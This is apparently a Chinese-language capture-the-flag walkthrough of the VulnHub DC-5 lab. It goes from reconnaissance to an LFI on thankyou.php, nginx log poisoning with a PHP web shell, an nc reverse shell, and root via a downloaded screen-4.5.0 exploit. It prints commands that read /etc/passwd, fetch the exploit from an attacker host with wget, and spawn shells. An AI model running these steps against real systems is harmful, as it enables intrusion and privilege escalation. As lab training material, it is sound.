VulnHub-DC5

- 5 mins

环境下载地址:

https://www.five86.com/dc-5.html

环境搭建:

1

信息收集

Nmap 探测目标IP

目标IP:192.168.2.171

2

或者通过MAC地址确定目标IP

或者用 netdiscover -r 192.168.2.0/24 扫描IP,得到目标IP

3

端口扫描

发现开放80、111端口

┌─[][root@pendo][~]
└──╼ #nmap -sT -sV -A -T5 192.168.2.171 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-05 23:31 CST
Warning: 192.168.2.171 giving up on port because retransmission cap hit (2).
Nmap scan report for dc-5.lan (192.168.2.171)
Host is up (0.0033s latency).
Not shown: 52750 closed ports, 12783 filtered ports
PORT    STATE SERVICE VERSION
80/tcp  open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          37590/udp6  status
|   100024  1          46390/tcp   status
|   100024  1          58782/udp   status
|_  100024  1          59067/tcp6  status
MAC Address: F8:FF:C2:44:6B:5C (Apple)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   3.26 ms dc-5.lan (192.168.2.171)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.89 seconds

访问:http://192.168.2.171

4

查看网站的页面功能后,点击打开 contact页面的提交(submit)留言后,出现变化

5

  1. 页面跳转到 Thankyou.php ,并且在URL地址栏可以看到参数,GET方式传参(get请求参数会拼接到请求地址后面(GET请求参数是写在地址栏当中的),post请求参数会放在请求体当中;)

6

  1. 发现 contact页面在提交留言后,出现变化,刷新页面时,Copyright © 2019 会一直变化,猜测页面存在文件包含

    7

    先扫描一下网站目录

命令
┌─[root@pendo][~]
└──╼ #dirb http://192.168.2.171 -X .php -S

8

访问 状态码为:200的页面

直接访问 http://192.168.2.171/thankyou.php 界面没有变化

9

访问:http://192.168.2.171/footer.php

10

漏洞利用

考虑存在文件包含漏洞

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只需要更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)

该网站网页每刷新一次,年份都会发生变化,因此猜测 thinkyou.php调用了footer.php,于是想到了文件包含漏洞

测试是否动态包含,尝试FUZZ参数(爆破参数)

发现参数为:file

命令
┌─[root@pendo][~]
└──╼ #wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.2.171/thankyou.php?FUZZ=/etc/passwd

11

方法二:使用burpsuite爆破

测试:http://192.168.2.171/thankyou.php?FUZZ=/etc/passwd

13

用burp抓包检测,可以看到的确存在文件包含漏洞,并且没有过滤包含进来的内容

http://192.168.2.171/thankyou.php?file=/etc/passwd

14

15

将一句话木马写入到php的日志文件中,包含文件在前面的nmap扫描中,得知该web服务器使用的是Nginx服务器,并且在网站的每一步操作都将会被写入日志文件中

日志路径为:/var/log/nginx/access.log ,是系统默认路径

16

http://192.168.2.171/thankyou.php?file=/var/log/nginx/error.log

17

尝试通过log来拿shell,写入phpinfo( )进行探测,是否可以包含成功(可根据访问分析日志)

命令:<?php phpinfo( ) ?>

18

将一句话木马通过URL写入到服务器上面,并且通过burp进行抓包

通过日志文件log查看是否写入成功,查看日志已经写入成功

19

进行测试,看是否外部命令能够正常执行

执行成功

20

使用蚁剑连接

21

连接成功

22

反弹shell

通过nc命令直接进行shell反弹

23

监听端口:nc -nlvp 1234

24

浏览器访问:http://192.168.2.133/thankyou.php?file=/var/log/nginx/access.log

25

开始监听

26

切换到交互模式shell

命令python -c 'import pty;pty.spawn("/bin/bash")'

27

查看具有特殊权限的二进制文件

查找一下可以用root权限运行的命令

命令find / -perm -u=s -type f 2>/dev/null

28

这里发现一个 screen-4.5.0 这个特殊文件

在parrot中使用searchsploit命令对screen-4.5.0漏洞进行搜索

29

直接利用

/usr/share/exploitdb/exploits/linux/local/41154.sh

将该文件拷贝至攻击机 /home/pendo 目录下

30

将41154.sh文件上传到目标机DC-5

如何上传? 首先在攻击机 41154.sh文件所在目录下开启 python.server,供下载

命令python3 -m http.server 9999

31

切换目标机目录 /tmp,下载文件

命令www-data@dc-5:/tmp$ wget http://192.168.2.110:9999/41154.sh

32

编译脚本

chmod +x 41154.sh
sed -i "s/r//" 41154.sh
./41154.sh

33

发现脚本执行错误

重新在攻击机中打开 41154.sh文件,研究一下脚本代码

34

通过分析,根据代码提示,对以上代码应该分三步走

① libhax.c 代码并编译

35

编译完后,删除源代码文件

36

② rootshell.c代码并编译

37

编译完后,删除源代码文件

38

③ 41154.sh

39

④ vim编辑41154.sh,并使用 :set ff=unix 进行保存,并更名为 dc5.sh

40

⑤ 重新将编译好的文件上传到目标机

41

42

43

最终上传文件

44

提权

给 dc5.sh 赋予执行权,并运行,提权成功

45

切换到根目录,找到 flag

46

问题解决:

Burpsuite在发送请求,响应时,出现 文件太大无法显示的问题

47

解决办法:

在拦截的时候,提前做一步 Do intercept,然后再 send to repeater就正常显示了

48

rss facebook twitter github mail instagram linkedin